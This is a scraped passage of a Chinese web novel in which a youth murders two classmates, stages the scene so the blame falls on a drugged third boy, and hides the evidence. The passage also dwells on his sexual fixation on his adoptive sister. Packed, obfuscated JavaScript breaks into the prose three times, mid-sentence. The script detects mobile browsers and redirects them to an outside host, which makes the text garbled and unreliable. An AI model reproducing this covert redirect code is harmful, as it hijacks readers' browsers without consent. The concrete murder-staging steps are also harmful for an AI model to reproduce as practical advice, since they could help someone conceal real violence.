l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513109|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里了，待到时候拿出，我同你们一道去寻里正便是。” 宴安自始至终没有说话，但宴宁却是知道，她心里有事。 夜里宴宁入睡前，去了灶房擦身，还将那早已被汗浸湿的里衣脱去，顺手洗净晾在了院中棚下。 往后整整一月，他夜里几乎都要如此。 从前宴宁也会日日擦身，但那里衣却洗得不似近日来这般勤。 宴安觉得奇怪，便直接问他。 宴宁回道：“也不知为何，入秋以后，口干舌燥，常会出汗，若汗味过重，入学堂时恐会失礼。” “火气太大的缘故。”何氏肯定道，“你爹在你这个年纪时，也是如此。” 何氏是笑着说的，但那眉眼间却是多了几分怅然。 宴安想起这段时日，宴宁时常晨起后嗓子沙哑，便也觉得是与火气有关。 日子过得飞快，转眼便入了冬，晋州迎来了今年的第一场雪。 沈先生在入冬前，特地与众人嘱咐，若哪日晨起遭了大雪，便莫要再来。 宴宁却知，大小之分，个人理解并不相同。 沈先生口中的大，落入沈鹤等人的耳中，便与今日的雪没有分别。 他知道，沈鹤今日不会来学堂，即便沈修日后追责，他也只会故作无辜。 可沈鹤若是不来祠堂，又回去何处？ 跟了他整整一月的宴宁，最为了解不过。 宴宁摸黑起身，穿好衣裳，提着书箧离开家中。 冬日的清晨，又飘着雪花，别说路人，饶是平日里看家护院的狗，此刻也缩在屋中不肯外出。 若是到了散堂时，天色也比从前黑得更早，更快，更冷，也会比此刻更无人…… 宴宁等这一日，已是等了许久，每每想到，阿姐的名字与那些污言碎语一并从沈鹤口中而出，他便觉得万分难受。 不过好在，过了今日，他便永远也听不到了，那张嘴，也永远说不得了。 7.第七章 沈鹤三人，未曾去学堂。 不光是他们，还有几个年岁小的，也未曾来。 沈修没有追究之意，毕竟今晨的雪虽小，可自霜降以来，寒气一日胜过一日，天也黑得愈发早了，有时还未散堂，窗外便已昏昏沉沉，好似将至夜幕。 晨起看着雪不大，可若要下一整日，到了散堂之时，怕也会积雪结冰，步步难行。 若是从前的老先生，看到眼前这一幕，定是要拍案而起，厉声责骂，说他们若连这点苦都吃不得，干脆撕了书，回去种田。 然而沈修不仅未曾责怪，反而见雪未停，还允他们早早归家。 宴宁并未离开，而是拿着两篇策论来到沈修面前，恭敬有礼地双手呈上，“不知先生可否得闲，帮学生解惑一二。” 沈修未觉意外，自一月之前，他就与宴宁说过，柳河村路远，若天黑得早，他可提前散堂，宴宁却说，年后便至县试，他不敢懈怠，便未曾有一日早退。 沈修惜才，平日里待宴宁总是多一分关照，且此刻还未到散堂时辰，原也该帮他才是。 沈修接过策论，唤宴宁坐在身侧。 这是两篇分别关于守令安民与赋税之平的策论，每篇皆是两千余字，字迹工整，未见一丝涂改，或是明显顿笔之处。 沈修尚未细看所撰内容，便已是连声称赞，“上千余字，能有此一气呵成之势，已属少见。” 然沈修细读之下，每篇皆有诸多有待商榷之处。 谈不上对错，只是因宴宁到底年少，又久居于偏远村落，难以了解当下时事，观念颇为陈旧。 沈修授课向来喜欢引学生自己悟出，而非他直接灌输，所以发觉错处，只是与宴宁用商讨的语气细细引导。 宴宁只是稍微点拨，就能通晓，他却是朝外间看了一眼，见天色尚未沉下，便一副茫然不知，等沈修点得更透，才微微颔首。 酉时将过，天色已沉。 宴宁收好书箧，离开祠堂。 沈鹤三人整整一日都在林中那废弃的碾坊里，碾坊里皆是年轻男子，约有七八人围着赌桌叫喊。 麻子脸名为沈丘，自他开始赌钱以来，手气稍有不好，便喜欢外出撒尿，甭管尿不尿的出来，溜达一圈再进屋，有时还当真能换了气运。 “邪门儿！怎就又输了？”沈丘抬手在脸上一抹，急得忙与沈鹤道，“不成不成，快叫我去尿，再憋可就坏了！” 说罢，也不等沈鹤训他，赶忙提了油灯便钻出门来。 这一出来，沈丘便觉一股寒气扑面而来，忍不住打了个哆嗦，眼瞅着就要滴出尿来，他也顾不得林中漆黑，揪住裤子快步就朝碾坊后跑。 他一手拿着油灯，一手撩开衣摆，须臾后，长出一口气，还未来及提好那裤子，便觉脖颈骤然一痛，整个人都无了知觉。 屋内，沈鹤左等右等未将人等回来，骂骂咧咧就朝矮个子道：“去看他是不是死外面了！” 矮个子叫沈润，他将门推开，并未出去，只是朝外喊了一声。 此处茂林极偏，也正是因为太过偏僻的缘故，这座碾坊后来才会废弃。 漆黑的林间无人回话。 沈润也打了个寒颤，回头对沈鹤道：“鹤兄，瞧着天色应当已是散堂了……” 三人今日没去村学，但还是得按照散堂的时辰归家，否则家中询问，得知闲跑了一天，定要好一通责骂，沈鹤不怕挨骂，怕的是不给他钱花。 “罢了罢了！”沈鹤大手一挥，朝桌上扔下几个铜板，转身将脚底下的书箧朝沈润丢去，“老子回了，下次必定让你们输得当裤子！” 旁边几人与他们年岁相当，都是附近村里的游手好闲的人物，也知沈鹤父亲为里正，平日里多容他几分，也知他们三个今日输得惨，便不与他计较，纷纷笑着称好。 沈润本就个子矮小，又挂着两人的书箧，已是走路踉跄，还要满面笑容地帮沈鹤将门抵住，等沈鹤大摇大摆出了屋，他才松了口气，挺着那小身板摇摇晃晃跟随其后。 屋外漆黑一片，可谓伸手不见五指，好在一日的小雪，也让地面积了一层寸许高的积雪，借着雪光，沈鹤看到有排脚印，朝那碾坊后的方向去了，一看便知是沈丘方才留下的。 “死麻子还不滚过来，这么黑，是要老子摔死在道上？”沈鹤声音扬得极高，若平时，沈丘早就屁颠屁颠跑来赔罪了，可今日除了身后碾坊内的声音，四周再无任何响动。 沈鹤沉着脸，提步顺着那脚印寻去。 碾坊已是废弃多年，四周杂草丛生，沈鹤本就输得憋火，此刻已是没了那耐性，正要出声再喊，却见杂草那头，似有光亮传来。 不等沈鹤开口，沈润赶忙上前，一面将枯草往开扒，一面朝那头喊，“麻子？” 沈丘的确在那里，他背对着两人而坐，不知在作何，那油灯搁在他腿边，也被寒风吹得忽明忽暗，映的人影在地上乱晃，像那话本中的鬼。 “愣着干嘛，还不去看看！”沈鹤抬腿就是一脚。 沈润也顾不得害怕，捂着屁股连忙就朝前方跑，身上的书箧咣当撞在一处，让他显得更为笨重，然跑至一半，忽地脚下一空，只听“哎呦”一声，沈润瞬间消失在了路面上。 沈鹤心头一惊，此处虽是昏暗，可多少有那油灯带来的一些光亮，他是亲眼看着沈润消失的。 人不可能凭空消失，定是跌进了什么地方。 借着微弱光亮，沈鹤提步慢慢朝前探去，只见路中的杂草堆下，竟掩着一口枯井，井口的石堆歪斜凌乱，别说是在黑夜，就是青天白日，也极有可能不慎坠落。 沈鹤平日里胆子再大，此刻小腿肚子也是开始微微颤抖，他稍稍俯身，朝里望去，然里面漆黑一片，什么都瞧不见，也不知这井到底多深，沈润是死是活。 平日里虽然跋扈，可到底都是沈家人，沈鹤不会当真弃他不顾，便扬声朝里面喊道：“沈……” “润”字未出，脑后忽地“嗡”了一声，仿佛天地炸裂，火光自颅骨迸出一般，他身子顿时一僵，旋即闷声倒下，朝着眼前那深不见底的黑暗直直而去。 宴宁也不知，沈鹤有没有被那石头砸死，不过无妨，就算没被砸死，摔入这四丈深的井里，也会即刻没命。 就算还能存有一丝鼻息，也会无力呼救，更遑论从里面爬出，且他并未做完。 宴宁将手中沾血的石头，丢入井中，又用袖子擦了擦鼻尖上的血迹，随后，转身来到一旁的枯草堆，从里面又抱起一块石头，再次丢进井中。 当初碾坊的人搬走时，害怕这枯井害人，就将这井用石头填了。 自宴宁得知沈鹤有了侵犯阿姐的念头以后，他每日不论是去村学，还是散堂回家，只要路上无人，他皆会用疾跑代替步行，两月余的坚持下，他疾跑的速度愈发快，平日一个时辰的脚程，如今不过半个时辰便能到。 他可以用这半个时辰，做很多事，比如，每日散堂后，提着书箧看似回家，实则绕道至此，将这井中的石头悄然搬出几块…… 此刻，他又将石头一块块沉入井中，在沉至过半时，宴宁从衣摆内侧，撕下小指大小的布条，扔入其中，随后继续沉石，直至井口再也放不下，便用枯草与雪泥重新覆盖其上，用脚踩得极为紧实，又撒些枯叶，让此处看似与背出并无异样。 如此，他才回到了沈丘身侧。 沈丘尚未醒来，只是敲晕自然不够，很容易中途便醒，所以他提前采了野菌，在他晕厥后灌下了那野菌水，按照所服之量，最快也需一个时辰才能醒。 他吹熄油灯，借着雪光，退下身上这套衣衫鞋靴，还有那副手套，皆帮沈丘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517993|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新穿好。 这原本都是他的，他也还给了他。 如此，便只剩最后一事。 宴宁抬起沈丘的手，戴着手套，做了方才那些事，手自然不会有所划伤，只有手套会有磨痕，可若是使力过猛…… 宴宁毫不犹豫，用力将他拇指朝后掰去，听到“咯嘣”一声脆响，他才缓缓将他松开。 宴宁没有就此离开，而是将自己隐在一棵树后，微阖双眸，将那已是在脑中过了无数遍的章程，仔仔细细又过一遍。 确认无异，他方离开。 戌时已过，天色彻底黑透。 何氏望着窗外，忧心不已，“也不知宁哥儿何时回来呐？” “阿婆莫要着急，今日下了雪，路上湿滑，宁哥儿难免走得慢些，应当是快到了。”宴安说着，将手中的碗筷摆放在桌上，又道，“若不然，我去接他罢。” 何氏忙道：“你可别瞎忙活，之前那脚还没好利索，若是再崴了，可如何是好？” 想想也是，宴安没有逞强，披了衣裳准备去门外等，然刚走到院里，宴宁便回来了。 “阿姐。”他朝她弯唇，露出好看的温笑，只是他因赶路的缘故，呼吸微乱，鼻尖也被冻得通红。 看到弟弟如此模样，做姐姐的哪能不心疼？ “站着作何，快些进屋暖暖身子。”宴安赶忙招呼他进屋，宴宁却还是站在原处朝他笑，“阿姐，我不冷的。” 看到阿姐，就不怕冷了，什么也不怕了。 宴安可不信，顺势就握住了他的手，“都快冻成檐下的冰条了，还不冷啊？” 那股窒闷感又一次席卷而来，宴宁看着身侧的宴安，目光微滞。 指尖微蜷，拇指在她温热的手背上，极轻地蹭了一下，只这一下，便立即止住了动作，将目光移去了别处。 宴安并未觉察出异样，只觉这孩子手实在太冰，便下意识如小时候那般，一面搓着帮他焐热，一面将他拉进了屋。 “你这孩子，太过实心了，沈先生若允你提早回来，你回来便是，干嘛硬生生等到散堂啊，你可知阿婆多忧心你吗？”何氏拿起一块热腾腾的饼子，放到宴宁碗中。 宴安则倒了温水给他，叫他好生先将手泡一泡，莫要得了冻疮。 宴宁乖顺地洗了手，脱去外衫，来到桌旁坐下。 面对何氏的关切，他还是寻了那个理由，“快至县试，我尚有许多不明之处，想好好向先生讨教。” 何氏叹气，这里地处偏僻，入冬后，寻常人戌时便要就寝，他年宁哥儿却是到了这个点才归家，若到了深冬，天寒地冻，再染个寒疾，莫说科举，身体都成了问题。 一旁的宴安，见状开口道：“宁哥儿，阿婆与我希望你能考取功名不假，可我们更是希望你能平安康健。” 宴宁缓缓抬眼，看着宴安，点头应道：“阿姐，我知道了，明日我会早些归家。” 宴安说的话，宴宁向来是会听的。 何氏这才放下心来。 晚膳后，宴宁也还是要擦身，洗里衣，这段时日，他一直如此，所以宴安与何氏已是习以为常。 只是他今日还需将帕巾洗净，这是阿姐亲手所绣的，他舍不得扔，更是不愿因沈鹤的缘故废了这帕子。 他用草木灰混合着皂荚，仔细揉搓了数遍，洗得双手泛红，有了微微刺痛，终是看不出血迹，只留了一丝浅浅的黄痕。 这一晚，宴宁睡得很沉，他在梦中，又一次梦到了阿姐。 她将自己紧紧揽入怀中，用身上的温度帮他取暖，又用脸颊与他相贴，那声音里带着几分祈求。 “一定要挺过来，若你挺过来了，日后我便是你阿姐，我们便有家了，醒过来吧，阿姐不会丢下你的……” “我们一家人，永远也不分开。” 8.第八章 翌日清晨，沈家村祠堂外围满了人，皆是当地村民，还有保甲与那沈鹤、沈润二人家中亲戚，所谈之事，也皆是昨夜二人未曾归家之事。 宴宁背着书箧，远远看到祠堂外的人影，不由顿了脚步，面露诧异。 有个壮汉眼尖，看到他后，直接扬声喊他过去，“你是何人？” 沈六叔就在祠堂外与人说话，抬眼见是宴宁来了，赶忙上前与这壮汉解释，“这是村学的学生。” 这壮汉是保甲，村里出了事，自得更加谨慎，他闻言并未让路，而是眯眼将宴宁从头至脚仔细打量，“村学的……怎地这般面生？” 沈六叔道：“这是柳河村的孩子，来咱们这里上学都有七八年了，是过去沈老先生收下的。” 壮汉冷哼一声，将路让开，嘴里却是嘀嘀咕咕带着埋怨，“沈家的村学，净招些外村之人，怨不得会出事……” 沈六叔拉住宴宁朝里走，转身时朝那壮汉瞪了一眼。 “六叔，出了何事？”宴宁蹙眉低问。 沈六叔没有说话，待将他拉至一侧雕花石墙后，这才一面朝外张望，一面低声道：“沈鹤与沈润，寻不着了。” 宴宁眉梢微抬，虽无太大反应，但明显是愣了一下，不等他开口，沈六叔便朝正堂的方向撇嘴，“昨个儿夜里，刚至子时，沈鹤那老爹就过来咣咣砸门，我还当是出了何事，结果是那二人不知窜去了何处，一整日都未曾归家，人家家里人跑过来要人了。” 宴宁蹙眉，“可他们两个昨日并未过来。” “可不是么！”沈六叔也是上了年纪的，昨夜被此事折腾的一宿未睡，此刻眼下都还泛着乌青，“我与他们说，他们不信，非要连夜叫我将沈先生喊来，还去寻了昨日过来的学生，挨个的问啊！若不是你住得远，怕是你家也得折腾一宿！” 宴宁与这两人相识也有七八年了，可若说交情，近乎于无。 他每日来祠堂，只为读书，若能得半分空闲，也是会帮沈六叔干活，前几年老先生还在时，他甚至冬日里还会帮先生洗衣，总之，他从不会与学子们嬉戏谈笑，所以在好些学生眼中，宴宁便是个呆子。 但在沈六叔眼里，宴宁可是个乖到不能再乖的孩子，所以他才放心与他说了这么多。 “不是我不忧心那二人，实在是他们太不像话了。”沈六叔提起那两人，就一肚子气，平日里对同辈的嚣张跋扈，对他这个长辈也是扬着下巴，就好像他是这学堂的老仆一样。 “依我看，没准是昨日溜去县里了，夜里怕积雪路滑，索性就不回来了。”于沈六叔而言，沈鹤那种孩子闹出啥事儿他都不觉奇怪。 沈家人也知道沈鹤是个什么脾性的，昨晚见他迟迟未归，自然以为是贪玩，可即便再胡闹，沈鹤也会忌惮他爹几分，不可能过了子时还不归，如此，沈家人自然会着急，要找来保甲去寻。 至于沈丘，沈六叔也从院外那些人口中探听到，昨晚沈里正头一个就寻去的他家。 “那沈丘昨晚倒是归家了，可整个人迷迷瞪瞪的，据说是起了高热，烧得稀里糊涂，一问三不知，光说是有人打他了。”而打他之人是谁，又是在何处打的，便怎么也问不出了。 宴宁从头至尾，未问一句话，却是从沈六叔口中全部知晓。 一切与他设想的几乎一致。 若他此刻显得尤为关心，或是过分惊讶，反倒是与寻常的性子相左，所以他只是蹙了眉心，犹豫了片刻后，低声问道：“那六叔，今日何时授课呢？” 出了这等事，哪里还能继续授课，沈六叔无奈地摆了摆手，“回去罢，先生说了，先停课三人，待三日后如何，到时再看罢。” 也是宴宁住得远，无人与他知会，今晨才白跑了一趟。 待他回到家中，何氏与宴安得知后也皆是一惊，到了午后，沈家村的事便在十里八乡彻底传开。 隔壁的王婶听闻此事，也跑了宴家一趟。 她眼下也是乌青，天气越冷，那赵伯越是馋酒，昨晚喝醉又吵又闹，扰得宴家都睡不安稳，更别说王婶。 她拉着何氏赔礼，将那赵伯咒骂了一通，随后又问起沈家村的事，王婶也知，宴宁在沈家村的村学读书。 何氏自也没有瞒她，便将宴宁带回来的那些消息说予她听。 王婶听后摇头啧啧，“哎呦，我方才可听说了，沈家村已是差人去县衙了，看来这事要闹大！” 至于闹得多大，还得看这两人到底身在何处。 当天夜里，沈丘终是高热退去，慢慢清醒过来，他尚不知事情已是闹大，支支吾吾不敢说三人是去碾坊赌钱。 沈鹤的老爹看他如此，便以为他有所隐瞒，当场差点扑过去将他从床上拽下。 越是如此，沈丘越怯。 最后被带至县衙，才道出了那晚之事。 “我只是出来撒尿，便被人敲晕了去，待醒来就在那林中，我去碾坊寻人，他们已是散去……” 沈丘当时醒来后，浑身上下都是疼的，尤其那脑袋，晕沉到连走路都费劲，他只以为是哪个心眼狠毒的，嫌他一输钱就去撒尿换运，就打他撒气，根本没想那么多，而那二人也弃他不顾，先行回了家中。 他摸黑强撑回家，一路被冻得哆哆嗦嗦，好不容易到了家中，又因受寒起了高热。 碾坊四周，当日就已经派人寻过，得了此话，县尉带了三十余人，又将整个林子仔仔细细搜寻了一番。 这一搜，还当真是搜到了。 两人死状极惨，坠下枯井时皆已断了手脚，后又被那石块砸压至身形皆变。 王婶听得此事，又跑到宴家，一进门就拍着腿叹，“那场面真是吓死个人了！谁能想到啊，才十七八岁的年纪，就一口气杀了两个人！” 宴安正在补衣裳，闻言手指一抖，被扎了也顾不得，白着脸色问道：“怎……怎会如此？他们不是同族的么？” “可不是么，既是同窗，又是同族，三人皆是沾亲带故！”王婶往炕边一坐，低声道，“不过我听说，这三个都不是什么好东西，那个沈鹤，仗着自己父亲是里正，平日里嚣张跋扈，得罪了不少人……” 那日在碾坊赌钱的几人，也被叫去了县衙，那些人皆说，沈鹤脾气大，饶是沈丘、沈润二人对他言听计从，平日里也少不了挨骂，有时还会被踹上几脚。 “许是忍得太久，那孩子才生了恶念，下此毒手。” 王婶说至此，忙抬眼朝窗外正在劈柴的宴宁看去，“咱们宁哥儿这般懂事，也不知平日里可是遭过他们欺辱？” 王婶也是算是看着这姐弟二人长大的，虽说宴宁从小就话少，但模样生得心疼，该有的礼节又不差，王婶也是打心眼里关心他。 经王婶这般一问，宴安与何氏心里皆是一惊。 “我……未曾听宁哥儿说过这些。”宴安彻底放下手中针线，她忽然意识到，自己素日只关心宴宁可否吃饱穿暖，对他在学堂如何过的，半分都不了解。 宴安心里又愧，又怕。 送走王婶，她来到宴宁身边。 宴宁一看她上前，赶忙将斧刃移去一旁，“阿姐，怎么了？” 他说着，想要抬袖擦汗，可那手臂刚抬了两分，便忽然想到什么，又将手落了回去，顶着那一头汗珠，朝宴安身前迈了半步。 果然，宴安在看到他额上的汗时，不由分说拿起帕子，就帮他擦了起来。 “他们可有欺负过你？”宴安声音很轻，手上动作更轻，比以往任何时候，都还要温柔。 宴宁喉结微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525020|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动，险些便要脱口而出，可话到嘴边，还是叫他咽了回去，他眉心微蹙，一脸茫然道：“阿姐是说谁？” 宴安知道，方才王婶在里面说话时，宴宁许是未曾听到，可不管是沈丘、沈鹤，或是旁人，她只想知道，她的弟弟可曾在外受了委屈。 “不管是谁，可有何人欺负过你？”宴安说着，鼻根忽然泛起一股酸涩，眼睛也跟着红了。 冬日清冷的光线落在她的面容上，将她肤色映得更加白皙，而那微红的眼眶，也在宴宁的沉默中逐渐湿润。 眼看那泪珠即将滚落，宴宁终是从怔然中回神，下意识抬手用拇指在宴安眼角，将那坠落的泪珠拂去。 “阿姐莫要难过……”宴宁嗓音里透着几分微哑，他喉结抽动，忙将手放下，视线也立即移去了别处，“没有人欺负我。” 宴宁的这番举动，落在宴安眼里，就是心虚的表现，她更加笃定，宴宁是受过气的，只是怕她担心，或者不敢说出来。 宴安下意识拉住宴宁，去寻他目光，“宁哥儿何时会骗阿姐了？还不同阿姐说实话。” 宴宁终是不再躲避，又慢慢朝她看来，“同窗有时……会笑我只知读书，许是读傻了，至于旁的，当真是阿姐多虑了。” “真的？”宴安似还是不放心。 宴宁却是肯定地朝她点头，“我平日不是在村学，就是在家，无人会欺负于我。” 村学里有沈修与沈六叔，那二人的确对宴宁有所关照，而家中有她与阿婆，更是不可能叫他委屈。 宴安盯着他看了半晌，见他神情的确无异，这才终是放下心道：“如此便好，往后若是有人欺负你，定要回来与阿姐说。” 小时候的宴宁在她面前，乖巧得过分，如今大了，也一样听话，他笑着朝她温声道：“阿姐放心，我会的。” 宴安点了点头，想到王婶方才带来的消息，她欲言又止，毕竟这样可怕的事，就发生在宴宁身侧，她生怕说出来也将他吓到，犹豫再三后，只温声道：“天都快黑了，莫要再忙活了，收拾一下回屋休息吧，阿姐还有事要与你说。” “好。”宴宁笑着看向宴安，在她要将那帕子收起时，又说自己身上出了汗，要擦身，顺道帮她将帕子也洗了。 总归这帕子上也是他的汗，宴安便未想那么多，顺手就将帕子塞给了他。 宴安回屋继续做绣活，又将方才问出的话与何氏说了一遍，何氏也放了心，还说待村学开课，再送些东西去，给那沈六叔也带一份。 院里，宴宁将柴火收拾妥当，便来到灶房烧水。 一想到方才阿姐含泪抬眼望他的模样，他便觉得心头燥热，闷得他快要呼吸不畅，索性褪了衣裳，赤身候在灶台旁，然越是不叫自己想，那画面便蜂拥而上，时而是那梦中之镜，时而是那画中之象，总归不论如何变换，女子的面容始终都是阿姐一人。 宴宁喉中愈发干渴难忍，他拿起灶台上的碗，舀了满满一碗冷水，仰头大口灌下。 水流太急，从唇角溢出，沿着下颌滑过喉结，流至身前，顺着那蜿蜒的线条，一路洇湿。 他顺手抓起一旁的帕巾，胡乱擦拭，唇角，颈侧，锁骨，胸口……直至指尖触及那处，他才猛然一顿，整个人瞬间定住，只将目光，缓缓朝下看去。 若在未看那画册之前，每当他意识到这处有了变化，他会觉得嫌恶，会觉得污浊不堪。 可自从那日，他将那画册细究之后，方才渐渐悟出，此为欲，为人性。 若无此念，何来后人？ 这不是错，也不该是错。 这般想着，他缓缓将头扬起，将那帕巾紧紧攥入手中，顺着那蜿蜒的水流，慢慢朝下拭去，在触碰的瞬间，他双眼骤然闭紧，喉中传来一声沉沉闷哼…… 9.第九章 宴宁盯着早灶台下的火焰，看到火光将沾满污浊的帕巾一点点吞噬而入。 他记得许久前，应是在五六年前，阿姐将至及笄时，祖母笑着问她，喜欢什么样的郎君？ 阿姐那时没有说话，只揪着帕巾，将头垂得极低。 他知道，阿姐不想嫁人，她不想离开他们。 他实在不明白，阿婆既然如此疼爱阿姐，为何偏要她嫁于旁人？ 那时的他并不知道嫁娶意味着什么，只知若女子嫁人，便会从家中搬离，与旁人住在一处。 他觉得，既然阿姐不愿，那他来娶她便是。这般想着，宴宁便与二人开了口。 “阿姐喜欢我，让阿姐嫁给我便是。” 那二人皆是一愣，何氏顺手操起身旁线轴，作势就要砸他，“瞎说八道，若叫旁人听了，该笑我们宴家不通管教!” 何氏少见的带了几分愠气，宴安见状，忙出声劝道：“阿婆，宁哥儿还小，他不懂这些的。” 何氏抬眼朝他看来，见他那张稚嫩的脸上，除了对阿姐的关护以外，再无旁的心思，这才惊觉是自己因知这二人身份，才会心虚所致。 若两人当真为亲，寻常人听了此话，怕也只是一笑而过。 何氏敛了恼意，朝他招手让他坐至身前，问他为何这般说？ 宴宁如实回话，说嫁娶就是住在一处，互相照顾，阿姐这般辛苦，他想待长大后，好好照顾阿姐与阿婆。 果真还只是个孩子。 何氏笑着摇了摇头，与他道：“这可不成，嫁娶并非只是互相照顾，这当中还有旁的事，是你与你阿姐是亲人，做不得也说不得，待你日后长大了便会知晓。” 宴宁不解，到底有何事，连最亲的亲人都不能做，却要同旁人去做，可他不敢再问，只知日后不能说这些话，也不能做这些事。 而如今，他终是明白了，祖母不愿与他说的那件事，原是此事。 若他什么也不知，听到沈鹤那三人口中之言，许是不会动手，可他知道了。 他不仅知道，还不受控的在那梦中有过。 他一想到沈鹤会在脑中与阿姐这般，他便觉得心口有股浓烈的情绪在不住翻涌，他不止要他们绝了这般念想，还要他们为有过这般念想而付出代价。 没有人可以如此。 没有。 帕巾燃烧殆尽，宴宁敛眸，缓缓起身。 “原是想将阿姐帕巾拿到火边烘烤，未曾想一不留神，将帕子掉了进去……” 宴宁回到房中，这般与宴安解释。 宴安见他神色不大好，以为是烧了帕子心存愧疚，忙笑着宽慰，“无妨的，只是条帕子而已，阿姐又不是没有了，只要没将你没烧伤就行！” 她总是如此，从不舍得苛责于他。 宴宁却依旧面色微沉，没有抬眼与她直视，只低声问道：“阿姐不是说，有事要与我说么？” 一提及此事，宴安脸上的笑意也倏然散去，她看了眼在炕上揉腿的何氏，轻声说道：“方才王婶过来，说你那两位同窗失踪一事，有了眉目。” “寻到了？”宴宁的这声反问，极其自然，自然到任何人听见，都以为是下意识脱口而出的话。 想到王婶口中的那般惨状，宴安欲言又止，但最后还是用那极低的声音与他道：“那两人……没了。” 平日里的宴宁再是少言寡语，在祖母与阿姐面前，也会流露出内心所感，譬如此刻，他虽是看着颇为平静，可只有长期与他生活在一处的宴安与何氏能从他细微的神情看出，他在诧然，在不解，也在试图去不让自己显得畏惧。 到底是与他同窗一场，遭了这样的事，任谁听了都会心有余悸，且那凶手如此狠戾，还日日与宴宁坐在一间堂内听课，这如何能不叫宴安与何氏心尖发颤。 一想到日后宴宁还要外出求学，宴安心头便更是慌乱难安，索性提议道：“若不然，日后阿姐与你一道去村学。” 宴宁摇头，“不必如此，我都这般大了……” “再大也是我阿弟。”宴安越想，越觉得如此才稳妥，“你可是忘了，你小时候总要跟着我，阿婆都说你是我尾巴，怎么？如今大了，便不愿意啦？” “我愿意。”宴宁没有半分思虑，直接就出声回了话，“可阿姐要照顾家里，若每日还要与我一道来回，太过辛苦。” 宴安道：“我不辛苦，陪着你，我才心安。” 不等宴宁回话，何氏却先他一步开了口，“叫你阿姐陪你去，不用管家里，我老婆子一个人在家，吃又吃不了多少，还落得清闲，再说了，万一有何要紧事，在院里喊上一声，你王婶那边又不是听不到。” 宴宁原本并未想到旁处，只以为阿姐与祖母皆是在忧心他，可听到这番话，再看祖母那带着几分笑意的神情，便下意识想到了沈修。 想到祠堂后院，他与阿姐站在一处说话时的那副场景。 宴宁没再说话，只低低地应了一声。 以沈家村为中心，附近五座村子，皆由沈里正管辖，而今他独子与表侄皆被谋害，哪怕杀人者偿命，他也还是心有不甘，又去祠堂闹了一场。 这三人皆是村学学生，身为先生的沈修，也该当为此负责。 沈里正说，前些年老先生还在时，学子们从未染上过这等恶习，他家沈鹤更是自幼就温良恭俭，皆是因为沈修的放任纵容，不通管教，才致沈鹤命丧黄泉。 沈里正也自知理亏，县衙那等讲究证据之处，自是不会严惩沈修，才只能在沈家村里闹。 族长们还是明事理的，自是知道这事怪不得沈修，却也不好去驳沈里正的颜面，左右为难之时，沈修自请辞去村学先生一职，并愿暂离沈家村，以平众议。 此事传开后，何氏头一个眼前发晕。 “沈先生那般好一个人，怎能将此事怪在他头上？” 年后就是县试，如今村学没了先生，何时才能开课？ 再者，沈修若是搬走，宴安的婚事又没了着落。 然不等何氏继续急下去，很快又有一消息传入耳中。 沈修带着母亲，搬至了柳河村，住在西南角的那座院子。 那院子的主家从前是酿酒的，后来那生意越做越大，就搬去了县里。院子空了几年，虽有些陈旧，但并不破败，只是略微收拾一番就能住人。 何氏听得此事，赶忙就让姐弟俩过去帮忙。 满共就几步路，两人寻过去时，门外已有人围着在看热闹。 “嚯，沈解元你不知道啊？当年这位可风光了，两入殿试，那可是见过圣上的人！” “那又如何，不还是回到村里来了。” “沈家村的命案，就是与他有关，据说是他教唆学子杀人的……” “啊？还有这样的事！怪不得要搬出来……” 宴安原本不愿多言，只想挤过人群去敲门，可听至此处，实在听不下去，忍不住上前一步，她声音不大，语气也并不厉色，却是字字说得清晰，“沈先生学富五车，人品端方，官衙拿人是要讲证据的,若当真与命案有关，县丞大人岂会容他安然离村？” 说至此，她话锋一转，语气彻底软下，还带了几分温笑道：“咱们柳河村的叔叔婶婶，向来最明事理，断不是那会去污蔑县衙办案不公之人。” 王婶就在其中，恍然记起这沈修正是宴宁的先生，且宴安为人她最是了解，这孩子向来乖巧懂事，又极为勤快，邻里乡亲哪个没得过她帮忙，既然宴安都开了口，她自得帮忙。 “可不是么！咱们柳河村的人，可不会拜高踩低，人家沈先生这么大的学问，肯搬来咱们村，那可是咱们村的福气，往后谁家小子要是读书认字，还愁没人能请教了？”王婶调门高，一面说，一面还故意逗大家，“没准日后，咱们柳河村也能出个状元郎呢！” 众人闻言，便也不再言其他，只跟着笑了起来。 隔着一道门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528370|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，门里的沈家母子，皆是将这些话听入了耳中。 